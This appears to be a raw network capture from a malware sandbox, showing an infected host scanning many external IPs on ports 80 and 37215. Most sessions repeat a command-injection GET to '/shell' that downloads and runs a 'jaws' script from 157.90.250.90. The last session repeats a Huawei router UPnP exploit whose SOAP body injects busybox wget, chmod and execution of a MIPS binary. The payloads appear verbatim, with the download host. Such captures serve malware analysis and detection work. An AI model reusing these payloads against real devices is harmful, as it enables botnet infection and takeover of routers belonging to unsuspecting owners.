Jan 2, 2024 06:25:05.266556978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:05.599236965 CET	619	IN	HTTP/1.1 400 Bad Request Server: Mini web server 1.0 ZTE corp 2005. Content-Type: text/html; charset=iso-8859-1 Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	56908	34.120.145.32	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:06.732120037 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:06.855182886 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Tue, 02 Jan 2024 05:25:06 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	52664	154.37.215.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:06.760411024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:06.909641027 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:06 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	47260	2.20.206.69	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:06.855559111 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.099633932 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:06 GMT Date: Tue, 02 Jan 2024 05:25:06 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 38 31 34 64 66 61 64 26 23 34 36 3b 31 37 30 34 31 37 33 31 30 36 26 23 34 36 3b 36 63 35 64 37 39 62 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9814dfad.1704173106.6c5d79b4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	52462	154.38.247.126	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:06.911218882 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.719211102 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:08.647078991 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:10.502815008 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:14.374293089 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:21.797365904 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:36.643151045 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	54758	154.218.175.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:06.948020935 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.285723925 CET	327	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 02 Jan 2024 05:25:06 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive Location: http://www.baidu.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	37714	23.57.244.129	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:07.005656004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.401248932 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:07 GMT Date: Tue, 02 Jan 2024 05:25:07 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 34 32 31 30 66 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 31 30 37 26 23 34 36 3b 31 64 32 32 35 32 32 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.b4210f17.1704173107.1d225220</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	48300	38.3.104.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:07.011141062 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.166940928 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:25:56 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	38840	200.52.65.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:07.011267900 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.167390108 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:25:07 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	49434	50.212.190.97	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:07.021194935 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:07.192800999 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	37352	156.247.20.255	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:07.990796089 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:09.542967081 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:11.366691113 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
